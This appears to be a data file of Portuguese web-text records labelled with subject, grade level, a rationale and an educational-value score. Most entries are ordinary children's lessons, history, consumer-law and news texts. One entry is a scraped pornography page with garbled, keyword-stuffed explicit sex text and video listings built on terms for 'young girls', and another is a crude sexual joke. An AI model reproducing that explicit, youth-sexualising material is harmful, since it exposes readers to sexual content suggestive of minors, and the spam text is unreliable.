separações e divórcios declarados pelas varas de família, foros ou varas cíveis.",original,original,original,original,3,0.6 +"Olá, pequenos exploradores de palavras! Já pararam para pensar como é incrível poder ler? Ler é como ter uma chave mágica que abre portas para mundos desconhecidos, histórias fascinantes e muita, muita aventura! Mas não basta apenas juntar as letrinhas, é preciso entender o que elas querem nos contar. Isso é o que chamamos de interpretação de texto. + +Imaginem que vocês estão assistindo a um filme superlegal. Para aproveitar ao máximo, vocês precisam prestar atenção em tudo: nas falas dos personagens, nas imagens que aparecem na tela e na música que toca. Ler é parecido! Cada palavra é como uma pecinha de um quebra-cabeça, e quando juntamos todas, conseguimos entender a história completa. + +Vamos praticar um pouquinho? Imagine que você lê a seguinte frase: ""O cachorro late alto porque viu um gato no quintal."" O que essa frase nos diz? Bem, primeiro, sabemos que existe um cachorro. Segundo, esse cachorro está latindo. Terceiro, ele não está latindo baixinho, está latindo ALTO! E, por último, descobrimos o motivo: ele viu um gato no quintal. Viram só? Conseguimos extrair várias informações importantes de uma única frase! + +Mas e se a frase fosse um pouquinho diferente? E se disséssemos: ""A menina estava radiante ao ganhar um livro novo."" O que significa ""radiante""? Se você não souber, pode tentar descobrir pelo resto da frase! A menina ganhou um presente que a deixou muito feliz, então ""radiante"" deve significar algo como alegre, contente, feliz da vida! Usar o contexto da frase nos ajuda a entender palavras novas e difíceis. + +A interpretação de texto está em todo lugar! Quando lemos um livro de histórias, um gibi do nosso herói favorito, a receita do bolo da vovó ou at�� mesmo as mensagens no celular, estamos interpretando textos. E quanto mais praticamos, mais fácil e divertido fica! Ler e entender é como plantar uma sementinha no nosso cérebro: ela cresce e nos ajuda a aprender cada vez mais. + +Então, da próxima vez que vocês pegarem um livro ou lerem algo na internet, lembrem-se: não tenham pressa! Leiam com atenção, procurem entender o que cada frase quer dizer e divirtam-se explorando novos mundos através das palavras! E agora, que tal um desafio? Leia um pequeno texto e tente responder às seguintes perguntas: Qual é o assunto principal do texto? Quais são os personagens? O que aconteceu no começo, no meio e no fim da história? Boa leitura e boa diversão!",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Introduz o conceito de interpretação de texto de forma lúdica e acessível, utilizando exemplos práticos e relevantes para o cotidiano das crianças. A linguagem é clara, o texto é bem estruturado e estimula a prática da leitura e da compreensão, além de propor um desafio ao final.",5,1.0 +"Comunidade Gomorra: “A SEPARAÇÃO ERA INEVITÁVEL: A COZINHA FALOU MAIS ALTO QUE O CUZINHO!” (risos) +Postado por Gomorra às 05:48",original,original,original,original,0,0.0 +"E logo eu senti grande tesão. Que sorte eu tive uma boa herança genética, com esse lindo corpo dificilmente alguém consegue, querendo cada vez mais, e então pegou em meu seio, para trás de mim a fim tocar o pau em mim. Já que iria assar a carne e que membro grande, inclinei meu rosto de lado boca sugando seu com carinho e coloquei as mãos sobre meus joelhos. Ela rebolava com o pau todo dentro foi comigo assim até o quarto. Penetrou fundo e forte ela pedia susurrando para fuder mais. Lançando o quadril para frente gozou em cima da minha barriga dentre todas as pessoas é como ele era apenas um amigo, bebendo até que notei seu olhar safado Morena Novinha brooklyn daniels foda aleatória só precisava de um pouco mais. +Os movimentos foram ficando mais fortes Morena Novinha brooklyn daniels foda aleatória e queria retribuir a chupada dizendo que estava gostoso e que estava gozando que ela disse que fazia tempo porque estava ainda com meu amigo que queria comer sua buceta me pegou puxando-me para ele. Levava os caras à loucura, não consegui deixar de olhar, e não poderia estar mais feliz alguns quilos a menos eu não conseguisse nem sonhar e ainda ter que aguentar as piadas, e eu abrí a calça dele e ela sentindo a dureza mas era difícil colocar todo. E de bom grado se ao máximo e descía deixando ela gemia e me dizia: mais, mais, penetrava rapido e com muita força Morena Novinha mas ela percebeu na hora. +Me beijava gostoso, que ele bateu contra mim e uma cintura fina e sexy, um corpo magro bem atraente, um beijo gostoso até me jogar na cama, algumas posições que fizemos ela rebolou na lingua dele com tesão totalmente domada por ele reparei na beleza do cara, depois de alguns minutos de estrada que depois era uma musica agitada carinhoso enquanto me penetrava descendo cada vez mais. Eu senti sua respiracao os movimentos foram ficando mais fortes se tornando cada vez mais rapidos e forte com sua amiga safada e estou ate hoje pulando nesse pau. Peguei minha moto e fomos e teve um desejo incontrolavel Morena Novinha brooklyn daniels foda aleatória e teve um desejo incontrolavel. +Morena Novinha Brooklyn Daniels Foda Aleatória was last modified: março 31st, 2018 by Novinha Gostosa X +SHARE ON +TwitterFacebookWhatsAppGoogle+BufferLinkedInPin It +Title: Morena Novinha Brooklyn Daniels Foda Aleatória +Duration: 12 min +Category: Morena Novinha +Added on: março 31st, 2018 +Tags: brooklyn daniels, foda aleatória, morena novinha +Related Videos +minha cunhada apareceu aqui em casa do... +5256 | 485 2min +Morena Novinha bem jovem beleza tocam... +3104 | 393 19 min +stefani assanhadinha dando o cu delicioso... +6758 | 230 6 min +acompanhante tesuda em sao paulo site... +6649 | 164 58seg +puta no oral mais emocionante assim delirante... +3999 | 184 53 seg +mulata vadiazinha chupando madeira do... +3363 | 157 14 min +moreninha tomando esperma na rapagão... +4967 | 265 1min +morenaça tesuda no anal montando na... +3255 | 323 3 min +delicia caseira se masturbando morena... +6152 | 302 40 seg +cadela tesuda pra caralho gosta dar o... +3899 | 121 10min +x lindinhas tesudas muito ardente gostoso... +1662 | 214 5min +novinha quão delicioso aproveite também... +6187 | 242 14min +& +© 2015 | 2022 Todos os direitos reservados Novinha Gostosa X | Sitemap | Contato +xvideos | pornhub +Página Inicial +- +Amador Novinha +- +Anal Novinha +- +Japonesa Novinha +- +Lesbica Novinha +- +Loira Novinha +- +Magrinha Novinha +- +Morena Novinha +- +Negra Novinha +- +Novinha Bunduda +- +Novinha Chupando +- +Novinha Dançando +- +Novinha Gangbang +- +Novinha Gostosa +- +Novinha Gozada +- +Novinha Interracial +- +Novinha Magrinha +- +Novinha Masturbando +- +Novinha Menage +- +Novinha Negão +- +Novinha Pauzão +- +Novinha Peituda +- +Novinha Safada +- +Novinha Webcam +- +Ruiva Novinha +- +Suruba Novinha +- +Tags +- +Categorias +- +Novinha Gostosa X - As Novinha Mais Gostosas Transando. +Novinha Gostosa X - Os melhores ✓ XNXX ✓ Samba Porno ✓ Xvideos do Brasil ✓ Xvideos de Sexo ✓ Filme Porno ✓ xvideos Porno ✓ XVIDEOS transando ✓ Buceta Novinha ✓ redtube Novinha ✓ porno Novin...",original,original,original,original,0,0.0 +"Ultimas Curiosidades: Telescópio Hubble mostra morte de uma estrela como o Sol +Telescópio Hubble mostra morte de uma estrela como o Sol +Fenómeno raríssimo foi registado e mostra a explosão e o fim de uma estrela. Surgiu assim uma nebulosa que os astrónomos chamam de ""ovo podre"", dadas as quantidades de enxofre libertadas +O telescópio Hubble, construído pela agência norte-americana NASA com contributos da congénere europeia, capturou a morte de uma estrela semelhante ao Sol e a sua transformação numa nebulosa. +O fenómeno raramente observado pelos astrónomos foi fotografado e mostra a estrela moribunda em rápida transformação, passando do que costumam chamar de uma ""gigante vermelha"" para uma nebulosa planetária. +Da explosão resultou a nebulosa Calabash, que deixou nuvens de gás e poeira nas suas imediações. A foto divulgada mostra o gás amarelo que foi projetado a uma velocidade próxima de um milhão de quilómetros por hora. +De acordo com a informação divulgada pela Agência Espacial Europeia, a transição entre a estrela e a nebulosa ocorre de forma suficientemente rápida, em termos astronómicos, o que implica a dificuldade em se obter registos visuais de situações anteriores. +Os astrónomos alcunharam a nebulosa Calabash, situada na constelação Puppis, de ""ovo podre"", dada a imensa quantidade de enxofre que foi expelida. +O fenómeno registado pelo telescópio Hubble ocorreu a cerca de cinco mil anos-luz da Terra. +Sabendo-se que a medida tem por base a distância percorrida pela luz no vácuo - que é de trezentos mil quilómetros por segundo, ou seja, sensivelmente a distância da Terra à Lua - e que o ano juliano tem 365,25 dias, um “ano-luz” equivale a 9 460 730 472 580,8 quilómetros. +Em conclusão, a nebulosa está a uma distância de cinco mil vezes nove biliões e meio de quilómetros. É fazer as contas...",original,original,original,original,5,1.0 +"Um obrigada a todos os que nos visitam! +Objecto de estudo na praia!!! +É preciso Intervir..... +Da praia para a escola!!!! +Descobrir a escrita através dos livros... +Que sabor preferes?? +MaNjEriCoS...que bem que cheiram... +A MaTeMáTiCa e os Amigos!!!! +Dia 10 de Junho- Manhã Infantil +Em preparativos finais....:)",original,original,original,original,1,0.2 +"[Departamento as quintas] A vida como ela é | GustavoRocha.com +Você gestor/diretor/gerente jurídico: Tem noção do seu departamento? +Você assistente/advogado/estagiário: Sabe o que o seu gestor quer para você e para empresa? +Perguntas que parecem simples, mas não são. +Gestor/diretor/gerente jurídico, vamos refletir o básico: +1. Qual o foco do seu departamento? É estratégico? Você está alinhado as decisões da diretoria/presidência da empresa? Aliás, você faz parte destas decisões? +2. Você sabe exatamente as tarefas de cada um dos colaboradores? Quando um sai de férias é tranquilo ou é tranquilamente um caos? +3. Existe possibilidade de crescer dentro do departamento (carreira)? +4. Há estímulo a ideias e debate permanente das problemáticas enfrentadas pela empresa com todos? +5. Há controle das atividades dentro do padrão de tempo/o que foi realizado/complexidade? +Assistente/advogado/estagiário, vamos refletir o básico: +1. Você sabe os rumos da empresa e suas atividades de maneira pormenorizada? +2. Você tem noção das principais demandas enfrentadas e de como as mesmas podem ser solucionadas no dia a dia? +3. Você estabelece um pensar critico antes de levar ao gestor/diretor/gerente jurídico perguntas/dúvidas/problemas? +4. Você busca conhecimento adjacente a matéria jurídica em prol da empresa? +5. Você cultiva relacionamentos dentro da empresa fora do departamento jurídico, tanto para facilitar o trabalho de comunicação, como para exercer a política de boa vizinhança interna? +Então, o que o departamento jurídico como um todo tem feito para o sucesso da empresa? +Você realmente acha que relatórios são fundamentais? Sabe porque relatórios nem entraram na lista do básico? +PORQUE SÃO MAIS BASILARES QUE O BÁSICO MAIS SIMPLES. Relatórios processuais, tipos de demanda, quantidade, prognósticos são tão inerentes a atividade que podem ser considerados zero, numa escala de 1 a 10. +Seu departamento tem problemas com o próprio core business de controle dele??? +Nossa! Se isto é verdade, seu emprego gestor/diretor/gerente jurídico está por um fio… +E o que você tem feito para mudar esta realidade? Nada? Está afogado de processos, reuniões intermináveis e problemas para resolver? +Luz vermelha acesa! Está na hora de tirar o teu da reta! Como fazer? +1. Depois do expediente normal ou em finais de semana, crie estratégias como foco em planos de ação voltadas ao foco de redução de processos, políticas internas de melhoria para evitar ações, controles apurados de valores, etc. Inicie na próxima reunião com a direção a demonstrar esta realidade. +Se você não se mostrar um gestor de valor, ninguém irá faze-lo por você. A bola é tua. É contigo magrão! +2. Separe processos estratégicos de valor elevado e/ou importantes para a direção e foque primeiramente neles para uma solução amigável ou rápida ou ainda pelo menos eficiente juridicamente. +Divida isto com o terceirizado e cobre dele estes resultados. Se o terceirizado não for parceiro do gestor/diretor/gerente jurídico, vai ser de quem? +3. Verifique na equipe interna pessoas que possam ser estratégicas e treine as mesmas para participar de reuniões com outras áreas, treinamentos, cursos, etc, ou seja, nem sempre você tem que estar na frente de tudo. Descentralize. +Com o tempo que irá ganhar com esta descentralização, seja estratégico e mostre resultados. +Óbvio, ululante, diáfano que este é o plano de guerra, plano zero, início de tudo. Somente fazer isto que descrevi acima para sempre levará o departamento a bancarrota em pouco tempo. +Tem que se iniciar assim, para se mostrar estratégico, ganhar fôlego da direção/presidência e depois fazer os controles necessários, ajustes de pessoas, usar a tecnologia de maneira útil e racional e por aí vai. +E a equipe? O que deve fazer? +Pelo menos ser crítica em relação aos processos internos, pensar no que está fazendo, não querer respostas prontas do gestor/diretor/gerente jurídico, mas sim pensar em respostas e apresentar estas respostas para um debate pensante. +Se espera ...",original,original,original,original,2,0.4 +"Você já parou para pensar por que o gelo derrete quando esquenta, ou como a água ferve e vira vapor? Tudo isso está relacionado aos estados físicos da matéria, um tema super interessante que nos ajuda a entender o mundo ao nosso redor! A matéria, que é tudo aquilo que tem massa e ocupa espaço, pode se apresentar em três estados principais: sólido, líquido e gasoso. Cada um desses estados possui características próprias, e a matéria pode mudar de um estado para outro dependendo da temperatura e da pressão. + +Imagine um cubo de gelo. Ele é um sólido, certo? Suas moléculas estão bem juntinhas, vibrando em posições fixas. Por isso, o gelo tem forma e volume definidos. Agora, se você tirar o gelo do congelador e deixá-lo em temperatura ambiente, o que acontece? Ele começa a derreter, transformando-se em água líquida. No estado líquido, as moléculas ainda estão próximas, mas têm mais liberdade para se movimentar, permitindo que a água escorra e se adapte ao formato do recipiente. Apesar de mudar de forma, a água ainda mantém seu volume. + +E se continuarmos aquecendo a água? Ela vai começar a ferver e se transformar em vapor, o estado gasoso. No estado gasoso, as moléculas estão muito afastadas umas das outras e se movem livremente em alta velocidade. O vapor não tem forma nem volume definidos, e se espalha por todo o ambiente. Pense no vapor saindo de uma panela quente – ele ocupa todo o espaço disponível! + +A mudança de um estado para outro recebe nomes específicos. A passagem do sólido para o líquido é chamada de fusão (como o gelo derretendo). A passagem do líquido para o gasoso é chamada de vaporização (como a água fervendo). E o processo inverso, a passagem do gasoso para o líquido, é chamado de condensação (como o vapor de água se transformando em gotículas em um espelho frio). Finalmente, a passagem do líquido para o sólido é chamada de solidificação (como a água se transformando em gelo no congelador). + +Essas mudanças de estado são muito importantes no nosso dia a dia. Por exemplo, a água da chuva evapora (vaporização) e forma as nuvens, que depois se condensam e voltam a cair em forma de chuva (condensação). O ciclo da água é um exemplo perfeito de como a matéria está constantemente mudando de estado na natureza. Que outros exemplos você consegue pensar no seu dia a dia? Como a mudança de estado da matéria influencia a sua vida e o mundo ao seu redor? Entender os estados físicos da matéria nos ajuda a compreender melhor os fenômenos naturais e a tecnologia que nos cerca!",Ciências,Estados físicos da matéria,anos finais (6º ao 9º ano),"O trecho explica de forma clara e acessível os estados físicos da matéria, com exemplos práticos e relevantes para o cotidiano dos alunos. A linguagem é adequada para o ensino fundamental, e o conteúdo está alinhado com o currículo de ciências. Além disso, o texto estimula a reflexão e a aplicação do conhecimento, tornando o aprendizado mais significativo.",5,1.0 +"Já se sentiu perdido na hora de escrever um texto? Bateu aquele branco, e as ideias simplesmente sumiram? Calma! A produção textual é uma habilidade que se desenvolve com a prática e o conhecimento de algumas ferramentas importantes. Neste guia, vamos desvendar os segredos da escrita e te mostrar como criar textos incríveis e que façam a diferença. + +Primeiramente, vamos entender o que é produzir um texto. É muito mais do que simplesmente juntar palavras. É organizar ideias, expressar sentimentos, defender um ponto de vista e, acima de tudo, comunicar algo para alguém. Pense em um texto como uma ponte: ele liga você, o autor, ao seu leitor. E, para essa ponte ser sólida e segura, precisamos de uma boa estrutura. + +Todo texto, seja ele um conto, uma notícia, um artigo de opinião ou até mesmo uma mensagem para um amigo, possui três partes fundamentais: introdução, desenvolvimento e conclusão. A introdução é como a porta de entrada: ela precisa despertar o interesse do leitor e apresentar o assunto principal. No desenvolvimento, você vai aprofundar suas ideias, apresentar argumentos, exemplos e detalhes que sustentem o que você disse na introdução. Imagine que você está montando um quebra-cabeça: cada parágrafo do desenvolvimento é uma peça que ajuda a formar a imagem completa. E, finalmente, a conclusão é o fechamento: é o momento de resumir suas ideias principais, reforçar seu ponto de vista e deixar uma mensagem final para o leitor. É como dar o nó final em um presente, garantindo que tudo fique bem amarrado e com um toque especial. + +Mas, como transformar essas dicas em prática? Que tal pensarmos em exemplos do dia a dia? Imagine que você precisa escrever um texto sobre a importância da reciclagem para o jornal da sua escola. Na introdução, você poderia começar com uma pergunta impactante: “Você já parou para pensar para onde vai todo o lixo que produzimos?”. No desenvolvimento, você poderia apresentar dados sobre o aumento da produção de lixo, os impactos ambientais da falta de reciclagem e exemplos de projetos de reciclagem que fazem a diferença. E, na conclusão, você poderia fazer um apelo à conscientização e incentivar os leitores a adotarem práticas mais sustentáveis. + +Outro exemplo: imagine que você quer escrever um texto sobre o seu livro favorito. Na introdução, você poderia apresentar o título do livro e o autor, e explicar por que ele te chamou a atenção. No desenvolvimento, você poderia falar sobre os personagens, a trama, os momentos mais emocionantes e as lições que você aprendeu com a leitura. E, na conclusão, você poderia recomendar o livro para outros leitores e explicar por que ele é tão especial para você. + +Lembre-se: a prática leva à perfeição. Quanto mais você escrever, mais fácil e natural se tornará o processo. Não tenha medo de errar, de experimentar e de buscar novas formas de se expressar. E, acima de tudo, divirta-se com a escrita! Afinal, escrever é uma forma de dar voz às suas ideias e de compartilhar suas histórias com o mundo. Que tal começar agora mesmo? Pense em um assunto que te interessa e comece a escrever. Você pode se surpreender com o que é capaz de criar! + +E agora, reflita: Qual é o tema que você mais gosta de escrever? Quais são os desafios que você enfrenta na hora de produzir um texto? Como você pode aplicar as dicas deste guia em suas próximas produções textuais?",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional, apresentando informações básicas sobre produção textual de forma clara e organizada. Introduz os conceitos de introdução, desenvolvimento e conclusão, exemplificando com situações do cotidiano, o que facilita a compreensão. O texto incentiva a prática da escrita e oferece dicas relevantes para diferentes gêneros textuais, sendo adequado para o ensino fundamental. A linguagem é acessível e motivadora, estimulando o aluno a desenvolver suas habilidades de escrita.",5,1.0 +"Mapa do Rio Maranhão, como também era chamado o Rio Amazonas, do jesuíta Samuel Fritz, 1707. Domínio público, Biblioteca Nacional Digital +As missões e os fortes desempenharam papéis importantes no Vale do Amazonas quanto à expansão territorial e a consequente colonização. Contribuíram para fixar marcos da penetração portuguesa naquele território disputado por outros povos. +Sempre de sentinela nas lonjuras do Vale estavam os fortes, instalados ao longo do século XVII: eram unidades pequenas, com poucos homens e escassas peças de artilharia. Isso, entretanto, não era empecilho para que enfrentassem os ataques frequentes de estrangeiros ou de nativos. +Em 1669 ergueu-se o Forte de São José do Rio Negro, evitando que espanhóis descessem pelo Rio Amazonas. Os fortes do Paru e Macapá, fundados em 1685, visavam impedir a passagem dos franceses da Guiana. +As ordens religiosas chegaram em épocas diferentes à região. Por exemplo: os carmelitas, em 1627, e os jesuítas, em 1636. Deparavam-se, porém, com os mesmos obstáculos, como a competição entre os colonos e entre as próprias ordens religiosas pelo ""direito de administrar o indígena"", visto tanto como mão de obra quanto como fiel servo de Deus. +Detalhe de prospecto da aldeia carmelita de Mariuá, às margens do Rio Negro. João André Schwebel, 1756. Domínio público, Biblioteca Nacional Digital +A disputa acirrada entre as ordens exigiu a intervenção governamental. Na tentativa de resolver essa contenda, que envolvia também a ocupação do Vale Amazônico, inúmeras Cartas Régias fixaram as áreas de atuação das ordens. Os franciscanos de Santo Antônio receberam as missões do Cabo do Norte, Marajó e Norte do Rio Amazonas; à Companhia de Jesus couberam as dos rios Tocantins, Xingu, Tapajós e Madeira; os franciscanos ficaram com as da Piedade e do Baixo Amazonas, tendo como centro Gurupá; os mercedários, com as do Urubu, Anibá, Uatumã e trechos do Baixo Amazonas; e os carmelitas, com as dos rios Negro, Branco e Solimões. Nos anos finais do século XVII, as missões religiosas cobriam grande parte do espaço que viria a constituir a atual região amazônica brasileira. +O papel do indígena na ocupação do Vale do Amazonas era de extrema importância. Não se dava um passo sem ele, pois conhecia o território, sabendo se movimentar naquela área desconhecida pelo europeu. Os nativos eram os guias pela floresta ou pelos rios. Canoeiros, conduziam as embarcações nas longas expedições fortemente escoltadas, em meio a milhares de quilômetros, pelos cursos emaranhados d'água. Eram também caçadores, identificando a variada fauna, e coletores das ""drogas do sertão"", pois conheciam como ninguém a flora local. +Theobroma cacao. Expedições científicas catalogaram várias espécies nativas da Amazônia, como o cacau, fruto comercializado pelas missões religiosas. Gravura do século XVIII, de Joaquim José Codina. Domínio público, Biblioteca Nacional Digital +A coleta se organizou no Vale sob a coordenação dos missionários. Os padres, que monopolizavam o trabalho indígena, usavam um artifício para que os nativos extraíssem elementos da flora em grande quantidade. Alegavam que, além das partes destinadas aos adultos, aos velhos e às crianças, deveriam extrair outra, destinada a Tupã. Esta fração – ""Tupã baê"" – acumulada nos depósitos das missões era, posteriormente, exportada para a Europa, onde seria comercializada com grande lucro. +Conduzido pelos nativos, o ""homem branco"" penetrava pelo coração pulsante da mata espessa, formada por imenso e heterogêneo verde, onde não bastava querer para efetivamente ocupar. Era uma tarefa complexa, em meio a terrenos submetidos a chuvas constantes, que provocavam um aumento no nível das águas, que, por sua vez, arrastavam e deslocavam grandes porções de terra próximas aos cursos dos rios. Por conta disso, a exploração detinha-se no que a floresta oferecia e possibilitava espontaneamente. +X +Monopólio +Posse, direito ou privilégio exclusivo. +X +Especiaria +Condimento (pimenta, cravo, canela, noz-mo...",original,original,original,original,4,0.8 +"Home » Destaque » 5 Dicas para esculhambar a divulgação do seu livro +Quando falamos em divulgação de livros, há uma tênue linha que divide “difundir um bem cultural” de “ser um baita chato”. Eu já dei dicas sobre como fazer uma boa divulgação, então hoje vou falar sobre o que NÃO fazer, especificamente no Facebook. Ou seja, cinco formas de esculhambar com a divulgação de qualquer livro e fazer com que as pessoas saiam correndo ao encontrar você na rua. +“Lá vem aquele autor doido de novo!” +1) Todas as pessoas do universo necessitam ler o seu livro +Discuta o quanto quiser, seu livro não é para todos. Pessoas que não tenham afinidade com o gênero não vão gostar e sem dúvidas colocarão a culpa em você. Inclusive, a maioria delas nem quer ficar sabendo que saiu uma resenha nova ou que você participará de determinado evento. Contudo, não se desespere! Existem, sim, pessoas que querem estar sempre por dentro das novidades e ficarão felizes em acompanhar a sua fanpage e participar dos concursos e brincadeiras que você venha a organizar. Não pelo prêmio, mas pela diversão. +Então a regra aqui é: seu livro nunca vai agradar a gregos e troianos. Mas você pode agradá-los, é só dar o que pedem. Ao pessoal que se interessa pelo livro, dê novidades, interação e amizade; aos que não gostam, dê um pouco de paz. +2) Falar da sua promoção no máximo possível de grupos +Isso se chama spam e incomoda. Para falar a verdade, hoje em dia quase não se encontra um grupo de literatura decente no Facebook, onde as pessoas conversem e troquem gostos, indicações e experiências. Isso porque existe tanto autor desesperado por leitores, que esses grupos invariavelmente se transformam em grupos de spam. Uma lista interminável de publicações só com propaganda, que ninguém lê. +Vamos parar com isso, galera! Primeiro porque impede que grupos interessantes se formem, e segundo porque é perda de tempo. Mas, se fizer diferente, se você for participante de um grupo de verdade, conhecer aquelas pessoas e tiver o costume de conversar com elas, faz sentido convidá-las a conhecer as suas obras. Apenas tome cuidado para não cometer exageros! +Me marcou numa foto, mas era só propaganda. +3) Marcar as pessoas em imagens de divulgação +4) Falar mal do mercado literário +Ser autor de ficção no Brasil é difícil, eu sei disso. Eu disse que sei, não precisa me falar isso. Já entendi, caramba! Todo mundo já entendeu, pare de ficar repetindo isso, parece um disco furado. +Sério, todo santo dia é a mesma ladainha. É autor reclamando da recusa da editora, do preço do designer, do pouco reconhecimento, dos blogs literários, dos leitores, de outros autores, do calor, do frio… Chega, né? Saibam que todos os outros autores passam pelas mesmíssimas dificuldades, mas cada um encontra a solução de uma forma diferente. Aliás, não apenas os autores! Em todas as profissões existem obstáculos, e reclamar não vai torná-los mais fáceis. Em vez disso, arregace as mangas e procure ser você o início de uma mudança. Faça a diferença! +Extra! Extra! Autor surta ao descobrir que ele mesmo terá que vender seus livros! Quinto caso só esse mês! +Principal regra da divulgação: não seja um chato. Ninguém gosta de gente chata. +Nossa, como esse post ficou chato, parece bronca! Mas espero que sirva como conselho para vocês. Tenho certeza de que você já fez, pensou em fazer ou viu alguém fazendo alguma dessas ações da lista. Vamos com calma, pessoal. Sei que muito autor fica desesperado, mas não se esqueçam: façam as pessoas se lembrarem de vocês pelas coisas boas e não pelas ruins. +Gostou das dicas? Tem algo a acrescentar? Comente aí embaixo! Deixe-me saber a sua opinião.",original,original,original,original,2,0.4 +"Compras de produtos e serviços são hábitos do dia a dia dos quais ninguém consegue escapar. Farmácia, supermercado, lojas online, conserto do carro, plano de saúde, cursos profissionalizantes ou provedores de internet: seja onde ou como for, você está protegido pelas normas do direito do consumidor. +O Código de Defesa do Consumidor (CDC) é o conjunto dessas diretrizes que determinam padrões de conduta, prazos e penalidades nas relações entre fornecedores e consumidores. Se você busca reivindicar seus direitos ao comprar um produto danificado ou um serviço que não foi realizado, por exemplo, é necessário entender o CDC. +Pensando nisso, elaboramos este Guia do Direito do Consumidor com informações importantes sobre o que fazer em casos como esses, além de solucionar outras possíveis dúvidas em relação ao tema. Entenda também o que fazer para reclamar seu direito. +Navegue entre tópicos: +O que é direito do consumidor? +Quem é o consumidor? +Quem é o fornecedor? +O que é o Código de Defesa do Consumidor? +Quais são os órgãos de defesa do consumidor? +Principais direitos do consumidor +CDC na publicidade +Boas práticas de consumo +Reclame seu direito como consumidor +Índice: +O que é o direito do consumidor? +Quem é o consumidor? +Dia Mundial de Defesa do Consumidor +Quem é o fornecedor? +Breve história do direito do consumidor no Brasil +O que é o Código de Defesa do Consumidor? +Quais são os órgãos de defesa do consumidor +Senacon +Ministério Público +Procons +Defensoria Pública +Delegacias de Defesa do Consumidor +Organizações civis de defesa do consumidor +Principais direitos do consumidor +Direito ao arrependimento +Proibição de venda casada +Termos e prazos de garantia legal +Produtos iguais com diferente precificação +Descumprimento de oferta +Direito do consumidor inadimplente +Cláusulas abusivas ou proibidas em contratos de venda +Queda de energia elétrica +Voo atrasado +Couvert artístico +CDC na publicidade +Publicidade abusiva +Boas práticas de consumo +Procure avaliações sobre o produto +Leia o contrato antes de assinar +Faça uma lista de compras +Pesquise o preço antes de comprar +Reclame seu direito como consumidor +Como usar o canal Reclame da Proteste? +O que é o direito do consumidor? +O direito do consumidor é o ramo do Direito cujas diretrizes podem ser aplicadas a qualquer situação em que aconteça uma relação de consumo entre duas ou mais partes. Ele está diretamente ligado ao Código de Defesa do Consumidor, criado para registrar as regras que regularizam essas relações. +Dica: Órgãos de defesa do consumidor: quais são e como atuam +Em 1985, a ONU estabeleceu o princípio da vulnerabilidade do consumidor, declarando-o como a parte mais frágil da relação de consumo. Isso porque, no sistema capitalista, é o fornecedor quem impõe sua vontade no mercado. Por isso, é importante que as pessoas estejam a par de seus direitos para não serem prejudicadas. +Quem é o consumidor? +O CDC, em seu artigo 2º, considera o consumidor o destinatário final da relação de consumo. É qualquer um que realize a compra de um produto ou serviço, sejam estes duráveis ou não-duráveis. +Os bens de consumo duráveis são aqueles duradouros, que só perdem sua utilidade após muito tempo de uso, como automóveis e eletrodomésticos. No caso de serviços, a pintura de uma casa ou a coloca��ão de uma prótese dentária são considerados duráveis. Já os não-duráveis são consumidos de forma mais rápida, às vezes imediata, como medicamentos, serviços de lavanderia e limpeza. +Algumas orientações do CDC dependem do tipo de produto ou serviço adquirido, como você verá mais à frente no texto. +Veja o vídeo que preparamos sobre nossos serviços especializados em Direito do Consumidor: +Dia Mundial de Defesa do Consumidor +Comemorado em 15 de março, o Dia Mundial de Defesa do Consumidor é a data para lembrar a importância do direito do consumidor. Além disso, serve para reforçar o compromisso de lojas e empresas em respeitar todas as leis relacionadas às relações de consumo. +A data foi criada quando o então presidente ...",original,original,original,original,4,0.8 +"Identificação do esqueleto de Ricardo III: caso encerrado ao cabo de mais de cinco séculos _ História _ PÚBLICO +História Identificação do esqueleto de Ricardo III: caso encerrado ao cabo de mais de cinco séculos +Identificação do esqueleto de Ricardo III: caso encerrado ao cabo de mais de cinco séculos +Volvidos 529 anos sobre a morte do rei inglês e feitas as contas todas, confirma-se que o esqueleto descoberto em 2012 é o seu com pelo menos 99,999% de certeza. Mas a genética também revela falsas paternidades na linhagem real do Reino Unido. +Uma equipa internacional liderada por Turi King, geneticista da Universidade de Leicester (Reino Unido) acaba de anunciar a resolução final de um mistério forense com mais de cinco séculos – talvez o mais antigo de sempre. Os resultados foram publicados na última edição da revista Nature Communications. +Ricardo III de Inglaterra foi o último monarca inglês da casa de Iorque e o último rei da dinastia Plantageneta de Inglaterra. Reinou durante apenas dois anos e foi morto no campo de batalha, em 1485, na guerra contra os Tudor. Não deixou descendentes directos. +Numa primeira abordagem, a comparação do ADN mitocondrial (ADN transmitido pelas mães aos seus filhos e filhas) das ossadas com de Michael Ibsen e de Wendy Duldig indicava que os três eram primos. E de facto, os cientistas mostraram que essas duas pessoas e o indivíduo exumado em Greyfriars [local de um antigo convento em Leicester] possuem o mesmo – e, aliás, muito raro – ADN mitocondrial. +A razão para isto: infidelidades matrimoniais. A primeira terá ocorrido já no século XIX; mas a segunda, a que gera a discrepância genética entre Ricardo III e os cinco homens actuais, é mais interessante, pois pode remontar à Idade Média – e pôr em causa a legitimidade de uma parte substancial da linhagem real britânica (pelo menos no que respeita ao direito do sangue, embora não ao das armas ou das leis). +Schürer, citado pela agência AFP, pensa que esta “quebra” no ADN, se tiver acontecido do lado dos Lancaster, levanta dúvidas sobre a legitimidade de “toda a dinastia dos Tudor”, a começar por Henrique VII, filho de Margaret Beaufort (1457-1509) – e precisamente o homem que derrotou Ricardo III em 1485 e foi rei no seu lugar. +Os cientistas explicam ainda que, com base na análise de outros genes do esqueleto, estimam que Ricardo III terá tido os olhos azuis e cabelo loiro (pelo menos em criança). Daí que, segundo eles, o retrato mais fidedigno do monarca é o que ilustra este texto e que se encontra na Sociedade do Antiquários de Londres. +Seja como for, este “caso de pessoa desaparecida” com mais de 500 anos, fica assim resolvido, concluem.",original,original,original,original,4,0.8 +"PR: Nevoeiro em Foz do Iguaçu - Categoria - Notícias Climatempo GEOLOCALIZAÇÃO × Você está nesta localidade? +3 Notícias NOTÍCIAS Navegue por uma categoria Categorias Frio Chuva Calor Intenso Sudeste São Paulo Rio de Janeiro Sul Nordeste Norte Centro-Oeste Agricultura Internacional Saúde Alimentação Esportes Frio Chuva Calor Intenso Sudeste São Paulo Rio de Janeiro Sul Nordeste Norte Centro-Oeste Agricultura Internacional Saúde Alimentação Esportes Home > Notícias PR: Nevoeiro em Foz do Iguaçu 27/09/2010 às 01:01 por Paulo Com avanço das áreas de instabilidade para leste, a nebulosidade foi diminuindo durante a noite no oeste do Paraná, mas o esfriamento provoca formação de nevoeiro em Foz do Iguaçu. A 